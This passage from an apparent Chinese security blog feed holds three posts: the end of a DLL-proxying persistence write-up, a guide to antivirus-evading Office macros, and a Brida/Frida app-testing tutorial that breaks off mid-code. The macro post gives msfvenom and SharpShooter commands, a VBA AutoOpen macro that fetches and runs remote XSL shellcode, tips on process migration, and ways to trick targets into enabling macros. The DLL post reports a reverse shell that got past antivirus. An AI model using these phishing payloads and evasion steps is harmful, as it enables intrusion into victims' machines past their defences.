GetrootValue(@&quot;CLSID\&quot; + value + @&quot;\InprocServer32\&quot;);</span><br><span class="line">                        if (imgpath != null &amp;&amp; imgpath != &quot;&quot;)</span><br><span class="line">                        &#123;</span><br><span class="line">                            Console.WriteLine(imgpath);</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;</span><br><span class="line"></span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        protected static string GetRegistryValue(string path)</span><br><span class="line">        &#123;</span><br><span class="line">            string value = string.Empty;</span><br><span class="line">            RegistryKey root = Registry.LocalMachine;</span><br><span class="line">            RegistryKey rk = root.OpenSubKey(path);</span><br><span class="line">            if (rk != null)</span><br><span class="line">            &#123;</span><br><span class="line">                value = (string)rk.GetValue(&quot;&quot;, null);</span><br><span class="line">            &#125;</span><br><span class="line">            return value;</span><br><span class="line">        &#125;</span><br><span class="line">        protected static string GetrootValue(string path)</span><br><span class="line">        &#123;</span><br><span class="line">            string value = string.Empty;</span><br><span class="line">            RegistryKey root = Registry.ClassesRoot;</span><br><span class="line">            RegistryKey rk = root.OpenSubKey(path);</span><br><span class="line">            if (rk != null)</span><br><span class="line">            &#123;</span><br><span class="line">                value = (string)rk.GetValue(&quot;&quot;, null);</span><br><span class="line">            &#125;</span><br><span class="line">            return value;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1586780654385.png" alt="1586780654385"></p><h3><span id="创建一个代理的dll">创建一个代理的DLL</span></h3><p>这里用到一个开源的项目。</p><p><a href="https://github.com/rek7/dll-hijacking" target="_blank" rel="noopener">https://github.com/rek7/dll-hijacking</a></p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1586780811272.png" alt="1586780811272"></p><p>生成的<code>definitions.h</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">#pragma once</span><br><span class="line"></span><br><span class="line">/*</span><br><span class="line">7-zip.dll - 8664 machine (x64)</span><br><span class="line">*/</span><br><span class="line"></span><br><span class="line">#pragma comment(linker,&quot;/export:DllCanUnloadNow=7-zip_.DllCanUnloadNow,@1&quot;)</span><br><span class="line">#pragma comment(linker,&quot;/export:DllGetClassObject=7-zip_.DllGetClassObject,@2&quot;)</span><br><span class="line">#pragma comment(linker,&quot;/export:DllRegisterServer=7-zip_.DllRegisterServer,@3&quot;)</span><br><span class="line">#pragma comment(linker,&quot;/export:DllUnregisterServer=7-zip_.DllUnregisterServer,@4&quot;)</span><br></pre></td></tr></table></figure><p>替换<code>definitions.h</code>头文件，作者项目的代码里是用的<code>powershell</code>来反弹shell。代码好像有点问题，我这里修改代码进行简单的弹框测试。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">https://itm4n.github.io/dll-proxying/</span></span><br><span class="line"><span class="comment">https://www.codeproject.com/Articles/17863/Using-Pragmas-to-Create-a-Proxy-DLL</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">to implement: hooking specific functions</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"definitions.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;thread&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;chrono&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;random&gt;</span></span></span><br><span class="line"><span class="keyword">extern</span> <span class="string">"C"</span> &#123;</span><br><span class="line">    <span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line">    <span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;winsock2.h&gt;</span></span></span><br><span class="line">    <span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line">    <span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;windows.h&gt;</span></span></span><br><span class="line">    <span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;ws2tcpip.h&gt;</span></span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> <span class="built_in">std</span>;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> comment(lib,<span class="meta-string">"Ws2_32.lib"</span>)</span></span><br><span class="line"></span><br><span class="line"><span class="function">BOOL WINAPI <span class="title">DllMain</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">    HINSTANCE hinstDLL,  <span class="comment">// handle to DLL module</span></span></span></span><br><span class="line"><span class="function"><span class="params">    DWORD fdwReason,     <span class="comment">// reason for calling function</span></span></span></span><br><span class="line"><span class="function"><span class="params">    LPVOID lpReserved)</span>  <span class="comment">// reserved</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    srand(time(<span class="literal">NULL</span>));</span><br><span class="line">    <span class="keyword">switch</span> (fdwReason)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">case</span> DLL_PROCESS_ATTACH:</span><br><span class="line">        &#123;</span><br><span class="line">MessageBox(<span class="literal">NULL</span>, <span class="string">"Zero Team"</span>, <span class="string">"Zero team"</span>, MB_OK);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">case</span> DLL_THREAD_ATTACH:</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> DLL_THREAD_DETACH:</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> DLL_PROCESS_DETACH:</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">default</span>:</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;  <span class="comment">// Successful DLL_PROCESS_ATTACH.</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3><span id="劫持程序右键菜单">劫持程序右键菜单</span></h3><p>编译生成恶意的DLL命名为<code>7-zip.dll</code>，并将原有DLL改名为<code>7-zip_.dll</code>。当我们右键单击程序时，即可运行恶意的DLL。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1586780745270.png" alt="1586780745270"></p><h3><span id="拓展">拓展</span></h3><p>作者项目里的反弹shell，测试不能成功。我们可以自己用C语言写一个反弹shell的功能，或者加载shellcode。</p><p>如下为在装有卡巴斯基的机器上测试劫持<code>notepad++</code>。成功劫持，并反弹shell，且卡巴斯基未告警。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1586780727660.png" alt="1586780727660"></p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1586780693681.png" alt="1586780693681"></p><p>反弹shell demo流量未加密，最好不要在实战中使用，dll内容可以自己发挥。</p><h3><span id="reference">Reference</span></h3><p><a href="https://b.ou.is/articles/2020-03/context-menu-persistance" target="_blank" rel="noopener">https://b.ou.is/articles/2020-03/context-menu-persistance</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3&gt;&lt;span id=&quot;dll代理&quot;&gt;DLL代理&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;如下图，DLL代理是通过创建一个恶意的DLL来替换原有程序的DLL，同时不删除原有程序的DLL，将其重命名。恶意的DLL在被调用的时候会运行恶意的代码功能，并把原有的DLL功能部分转发给原始DLL，
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
  <entry>
    <title>加载远程XSL文件的宏免杀方法</title>
    <link href="https://uknowsec.cn/posts/notes/%E5%8A%A0%E8%BD%BD%E8%BF%9C%E7%A8%8BXSL%E6%96%87%E4%BB%B6%E7%9A%84%E5%AE%8F%E5%85%8D%E6%9D%80%E6%96%B9%E6%B3%95.html"/>
    <id>https://uknowsec.cn/posts/notes/加载远程XSL文件的宏免杀方法.html</id>
    <published>2020-03-21T10:09:17.000Z</published>
    <updated>2020-03-22T03:39:28.505Z</updated>
    
    <content type="html"><![CDATA[<h3><span id="前言">前言</span></h3><p>​        “打点越来越难了，社工钓鱼会是最常见的攻击手段，0day会是最有效的攻击手段，物理渗透会是危害最大的攻击手段“。</p><p>在钓鱼攻击中木马的形式主要如下：</p><ul><li><p>Office</p></li><li><p>DLL劫持</p></li><li><p>假冒加固工具</p></li><li><p>木马捆绑</p></li></ul><p>通常办公软件Office具有最大的安装量，将文档插入邮件中已经是惯用的工作方式。但是Office常见的攻击方法：</p><ul><li><p>0day</p></li><li><p>已知CVE漏洞</p></li><li><p>DDEAUTO</p></li><li><p>注入执行命令</p></li><li><p>宏</p><p>第一种方法直接跳过，已知的CVE漏洞特征太明显，免杀成本和技术含量太大了。DDEAUTO和注入执行命令直接被杀软限制的很死。最后只能靠宏了，虽然默认情况下，Office已经禁用所有宏，但仍会在打开Word文档的时候发出通知。</p><p>通过收集宏免杀的常用的方法和测试，发现加载远程<code>.xsl</code>文件可以绕过国内常用的杀软360全家桶和火绒成功上线。</p></li></ul><h3><span id="sharpshooter">SharpShooter</span></h3><p>通过收集和测试一些开源的宏免杀的项目，发现了一个很好的项目，国外一个安全团队写的钓鱼框架。其中一个工具就是可以生成一个VBA宏文件，这个宏文件会用XMLDOM去加载远程的<code>.xsl</code>文件。</p><p>具体原理和利用分析见文章：</p><p><a href="https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/" target="_blank" rel="noopener">Macros and More with SharpShooter v2.0</a></p><p>更多的框架利用可以看项目介绍：</p><p>项目地址：<a href="https://github.com/mdsecactivebreach/SharpShooter" target="_blank" rel="noopener">https://github.com/mdsecactivebreach/SharpShooter</a></p><h3><span id="利用测试">利用测试</span></h3><h4><span id="生成payloadbin">生成payload.bin</span></h4><p>首先我们可以用<code>Cobalt Strike</code>或者<code>Metasploit</code>生成二进制格式的shellcode，即后缀为<code>bin</code>的文件。</p><h4><span id="处理payloadbin">处理payload.bin</span></h4><p>然后利用<code>msfvenom</code>对<code>payload.bin</code>，因为<code>SharpShooter</code>要求shellcode中不能含有空字节。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b &quot;\x00&quot;</span><br></pre></td></tr></table></figure><h3><span id="生成xsl和macro">生成xsl和macro</span></h3><p>如下命令生成<code>.xsl</code>文件和<code>macro</code>文件：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile shellcode-encoded.bin --com xslremote --awlurl http://192.168.0.104:80/foo.xsl</span><br></pre></td></tr></table></figure><p>简单介绍一下上面的几个参数：</p><ul><li>–dotnetver：为目标的.net版本，可选2或者4</li><li>–awlurl： 为xsl存放地址</li></ul><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1584781368230.png" alt="1584781368230"></p><p>生成的<code>foo.macro</code>内容很简单，代码如下：</p><figure class="highlight vb"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">Sub</span> Auto_Open()</span><br><span class="line">    <span class="keyword">Set</span> XML = CreateObject(<span class="string">"Microsoft.XMLDOM"</span>)</span><br><span class="line">    XML.async = <span class="literal">False</span></span><br><span class="line">    <span class="keyword">Set</span> xsl = XML</span><br><span class="line">    xsl.Load <span class="string">"http://192.168.0.104:80/foo.xsl"</span></span><br><span class="line">    XML.transformNode xsl</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br></pre></td></tr></table></figure><p>创建一个对象加载远程的xsl文件。如果需要使函数<code>Auto_Open()</code>加到<code>AutoOpen()</code>方法里，这样就可以在打开word文档的时间就能运行宏，具体代码如下：</p><figure class="highlight vb"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">Sub</span> AutoOpen()</span><br><span class="line">  Auto_Open</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"><span class="keyword">Sub</span> Auto_Open()</span><br><span class="line">    <span class="keyword">Set</span> XML = CreateObject(<span class="string">"Microsoft.XMLDOM"</span>)</span><br><span class="line">    XML.async = <span class="literal">False</span></span><br><span class="line">    <span class="keyword">Set</span> xsl = XML</span><br><span class="line">    xsl.Load <span class="string">"http://192.168.0.104:80/foo.xsl"</span></span><br><span class="line">    XML.transformNode xsl</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br></pre></td></tr></table></figure><p><code>foo.xsl</code>文件为<code>SharpShooter</code>处理后的shellcode。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1584807351799.png" alt="1584807351799"></p><p>我们可以把<code>foo.xsl</code>传到自己的vps或者公共下载网站，然后修改vba代码中的地址即可。再讲vba代码加到word或着excel文档中即可。</p><h4><span id="进程迁移">进程迁移</span></h4><p>office宏加载远程的<code>.xsl</code>文件有个缺点就是，点击启用宏后word进程会崩掉，如word进程被结束了，Cobalt Strike或者Metasploit会掉线。所以我们要做的是，在目标上线的时候就自动迁移到其他进程上。</p><p>处理方法：</p><ul><li>Cobalt Strike：通过插件实现上线后自动迁移进程，<a href="https://github.com/threatexpress/aggressor-scripts/tree/d6bdbd587379d7da2a337d19cccdee1a8628d1d8/beacon_handler" target="_blank" rel="noopener">Beacon Handler Suite</a></li><li>Metasploit: 在设置监听的时间可以设置：<code>set autorunscript migrate -N explorer.exe 或 set autorunscript -f</code></li></ul><p>这样可以实现在word进程被关闭后，得到一个新的会话，即持久的控制目标。</p><h4><span id="演示视频">演示视频</span></h4><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\bypass360.gif" alt=""></p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\bypasshr.gif" alt=""></p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\msf.gif" alt=""></p><h3><span id="引导性处理">引导性处理</span></h3><p>为了更好去引导目标启用宏可以如下处理：</p><p>第一步：进入开发工具，选择插入控件—其他控件—Microsoft RDP Client Control*</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1584808968035.png" alt="1584808968035"></p><p>第二步：设置控件属性内的Sever为localhost StartConnection为1，即点开自启动</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1584809056606.png" alt="1584809056606"></p><p>第三步：插入vba代码</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1584809241553.png" alt="1584809241553"></p><p>设置完成后，启用宏的提示就变成了<code>部分活动内容已被禁用，启用内容。</code></p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1584809310487.png" alt="1584809310487"></p><p>这样就更好的去引导目标启用宏了。</p><h3><span id="总结">总结</span></h3><p>​        “站在巨人的肩膀上”，以上的思路和方法是最近一个星期在<code>github</code>、<code>twitter</code>和国内外的安全网站论坛上收集和测试得到的结果。然后自己做的一个总结，有兴趣的师傅可以自己研究<code>SharpShooter</code>这个项目，并关注我们的微信公众号，后续我们会继续分享一些思路和方法。</p><h3><span id="reference">Reference</span></h3><p><a href="https://www.secquan.org/Discuss/1070836" target="_blank" rel="noopener">https://www.secquan.org/Discuss/1070836</a></p><p><a href="https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/" target="_blank" rel="noopener">https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/</a></p><p><a href="https://github.com/mdsecactivebreach/SharpShooter" target="_blank" rel="noopener">https://github.com/mdsecactivebreach/SharpShooter</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3&gt;&lt;span id=&quot;前言&quot;&gt;前言&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;​        “打点越来越难了，社工钓鱼会是最常见的攻击手段，0day会是最有效的攻击手段，物理渗透会是危害最大的攻击手段“。&lt;/p&gt;
&lt;p&gt;在钓鱼攻击中木马的形式主要如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
  <entry>
    <title>frida-hook工具篇</title>
    <link href="https://uknowsec.cn/posts/notes/frida-hook%E5%B7%A5%E5%85%B7%E7%AF%87.html"/>
    <id>https://uknowsec.cn/posts/notes/frida-hook工具篇.html</id>
    <published>2020-02-06T10:09:17.000Z</published>
    <updated>2020-02-06T10:15:02.224Z</updated>
    
    <content type="html"><![CDATA[<h2><span id="brida">Brida</span></h2><h3><span id="brida简介">Brida简介</span></h3><p>Brida是BurpSuite的一个插件，它可以将Burp和Frida结合起来使用，可以在 BurpSuite中直接调用目标应用程序中的加/解密函数，这样就可以根据你的需求修改移动端APP与服务器的通信流量。而不用去逆向它，从而节省测试人员的精力。</p><p><a href="https://github.com/federicodotta/Brida" target="_blank" rel="noopener">https://github.com/federicodotta/Brida</a></p><h3><span id="brida安装">Brida安装</span></h3><p>Brida目前只支持python 2.7。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pip install frida</span><br><span class="line">pip install frida-tools</span><br><span class="line">pip install pyro4</span><br></pre></td></tr></table></figure><p>Brida可以直接从BurpSuite中安装</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580895376662.png" alt="1580895376662"></p><h3><span id="brida功能模块">Brida功能模块</span></h3><h4><span id="brida控制台">Brida控制台</span></h4><p>填好配置项后先点击<code>Start Server</code>然后在点击<code>Spawn application</code>。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580895596968.png" alt="1580895596968"><br>Brida由以下三部分组成：</p><ul><li><p>Brida.jar为Burpsuite插件；</p></li><li><p>bridaServicePyro是用于Frida适配到burpsuite上的python脚本，这一部分存储在插件中，在执行brida过程中复制到缓存文件夹中；</p></li><li><p>script.js是要注入到目标应用程序的javascript脚本，它会通过Frida带有的rpc.exports功能将信息返回到拓展程序中，同时该script.js脚本会被Frida注入到我们在 Brida中指定的进程中所以我们可以直接使用 Frida的API。</p></li></ul><p>  Brida的几个配置参数：</p><table><thead><tr><th>配置参数</th><th style="text-align:left">说明</th></tr></thead><tbody><tr><td>Python binary path</td><td style="text-align:left">即Python可执行程序路径，用于启动Pyro服务</td></tr><tr><td>Pyro host, Pyro port</td><td style="text-align:left">即Pyro 服务的主机以及端口，可以保持默认</td></tr><tr><td>Frida JS file path</td><td style="text-align:left">需要注入的Frida脚本存放的位置</td></tr><tr><td>Application ID</td><td style="text-align:left">目标进程名(APP的包名)</td></tr><tr><td>Frida Remote”/“Frida Loca</td><td style="text-align:left">如果您使用的是Frida USB操作模式，则必须选择“ Frida Local”。如果使用端口转发模式，则必须选择“ Frida Remote”。</td></tr></tbody></table><h4><span id="js编辑器">JS编辑器</span></h4><p>  可以实时对hook脚本进行编辑。</p><p>  <img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580897477541.png" alt="1580897477541"></p><h4><span id="analyze-binary">Analyze Binary</span></h4><p>切换到Analyze Binary，点击Load tree，然后可能会卡一会，因为在加载类列表，加载完点开Java，可以看到这个进程里的所有类，可在下面的搜索框直接搜crypt来找加解密类。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580899345827.png" alt="1580899345827"></p><p>其功能和TraceView 相似，我们在操作APP的时候，他会打印出所有加载的类和方法。</p><p>点开java下拉找到app包名通过一个一个插桩 然后进行提交测试 看响应框是否会有信息。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580901009778.png" alt="1580901009778"></p><p>通过插桩可以看到此方法前后的输入值与返回值，同时可以通过<code>change return value</code>修改方法返回值。</p><h4><span id="execute-method">Execute method</span></h4><p>在通用js脚本中的<code>rpc.exports</code>里帮写了四个<code>contextcustom</code>，这四个是给右键菜单预留的，<code>contextcustom1、contextcustom2</code>会出现在<code>repeater</code>等模块中<code>request</code>的右键菜单，<code>contextcustom2、contextcustom3</code>则会出现在<code>response</code>的右键菜单。主要就是为了实现手动加解密的功能。这四个函数接收的参数都是hex形式的，所以返回的时候也要转成hex再传出去。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580901402956.png" alt="1580901402956"></p><p>例如：我们掉模块中调用函数contextcustom1返回值为上面代码中的6566。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580901465948.png" alt="1580901465948"></p><h4><span id="generate-stubs">Generate stubs</span></h4><p>这里可以生成java/python代码，<code>METHOD_NAME</code>你要调用hook脚本的函数，即如上的contextcustom1，另外一处标红为参数列表。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1580902444668.png" alt="1580902444668"></p><p>我们要实现的功能只是要让Repeater, Intruder and Scanner模块能对数据进行自动加/解密。</p><p>如下代码是brida官方文档给出的通用代码，我们只需修改调用的函数名和参数并对相关的加密解密数据进行处理即可。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br></pre></td><td class="code"><pre><span class="line">package burp;</span><br><span class="line"></span><br><span class="line">import java.io.PrintWriter;</span><br><span class="line">import java.util.Arrays;</span><br><span class="line">import org.apache.commons.lang3.ArrayUtils;</span><br><span class="line">import net.razorvine.pyro.PyroProxy;</span><br><span class="line">import net.razorvine.pyro.PyroURI;</span><br><span class="line"></span><br><span class="line">public class BurpExtender implements IBurpExtender, IHttpListener &#123;</span><br><span class="line">  private PrintWriter stdout;</span><br><span class="line">  private PrintWriter stderr;    </span><br><span class="line">  private IBurpExtenderCallbacks callbacks;</span><br><span class="line">  private IExtensionHelpers helpers;</span><br><span class="line">    </span><br><span class="line">  public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) &#123;</span><br><span class="line">    // Set the name of the extension</span><br><span class="line">    callbacks.setExtensionName(&quot;Brida Demo Search Plugin&quot;);</span><br><span class="line">    // Initialize stdout and stderr (configurable from the Extension pane)</span><br><span class="line">    stdout = new PrintWriter(callbacks.getStdout(), true);</span><br><span class="line">    stderr = new PrintWriter(callbacks.getStderr(), true);  </span><br><span class="line">    // Save references to useful objects</span><br><span class="line">    this.callbacks = callbacks;</span><br><span class="line">    this.helpers = callbacks.getHelpers();</span><br><span class="line">    // Register ourselves as an HttpListener, in this way all requests and responses will be forwarded to us</span><br><span class="line">    callbacks.registerHttpListener(this);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) &#123;</span><br><span class="line">    </span><br><span class="line">    // Process only Repeater, Scanner and Intruder requests</span><br><span class="line">    if(toolFlag == IBurpExtenderCallbacks.TOOL_SCANNER || </span><br><span class="line">       toolFlag == IBurpExtenderCallbacks.TOOL_REPEATER ||</span><br><span class="line">       toolFlag == IBurpExtenderCallbacks.TOOL_INTRUDER) &#123;</span><br><span class="line">      </span><br><span class="line">      // Modify &quot;test&quot; parameter of Repeater requests</span><br><span class="line">      if(messageIsRequest) &#123;</span><br><span class="line">        // Get request bytes</span><br><span class="line">        byte[] request = messageInfo.getRequest();</span><br><span class="line">        // Get a IRequestInfo object, useful to work with the request</span><br><span class="line">        IRequestInfo requestInfo = helpers.analyzeRequest(request);</span><br><span class="line">        // Get &quot;test&quot; parameter</span><br><span class="line">        IParameter contentParameter = helpers.getRequestParameter(request, &quot;content&quot;);</span><br><span class="line">        if(contentParameter != null) &#123;</span><br><span class="line">          String urlDecodedContentParameterValue = helpers.urlDecode(contentParameter.getValue());</span><br><span class="line">          String ret = &quot;&quot;;</span><br><span class="line">          // Ask Brida to encrypt our attack vector</span><br><span class="line">          String pyroUrl = &quot;PYRO:BridaServicePyro@localhost:9999&quot;;</span><br><span class="line">          try &#123;</span><br><span class="line">            PyroProxy pp = new PyroProxy(new PyroURI(pyroUrl));</span><br><span class="line">            ret = (String)pp.call(&quot;callexportfunction&quot;,&quot;encryptrequest&quot;,new String[]&#123;urlDecodedContentParameterValue&#125;);</span><br><span class="line">            pp.close();</span><br><span class="line">          &#125; catch(Exception e) &#123;</span><br><span class="line">            stderr.println(e.toString());</span><br><span class="line">            StackTraceElement[] exceptionElements = e.getStackTrace();</span><br><span class="line">            for(int i=0; i&lt; exceptionElements.length; i++) &#123;</span><br><span class="line">              stderr.println(exceptionElements[i].toString());</span><br><span class="line">            &#125;</span><br><span class="line">          &#125;</span><br><span class="line">          // Create the new parameter</span><br><span class="line">          IParameter newTestParameter = helpers.buildParameter(contentParameter.getName(), helpers.urlEncode(ret), contentParameter.getType());</span><br><span class="line">          // Create the new request with the updated parameter</span><br><span class="line">          byte[] newRequest = helpers.updateParameter(request, newTestParameter);</span><br><span class="line">          // Update the messageInfo object with the modified request (otherwise the request remains the old one)</span><br><span class="line">          messageInfo.setRequest(newRequest);</span><br><span class="line">        &#125;</span><br><span class="line">      </span><br><span class="line">      // Response</span><br><span class="line">      &#125; else &#123;</span><br><span class="line">        // Get request bytes in order to check if the request contain &quot;content&quot; parameter</span><br><span class="line">        byte[] request = 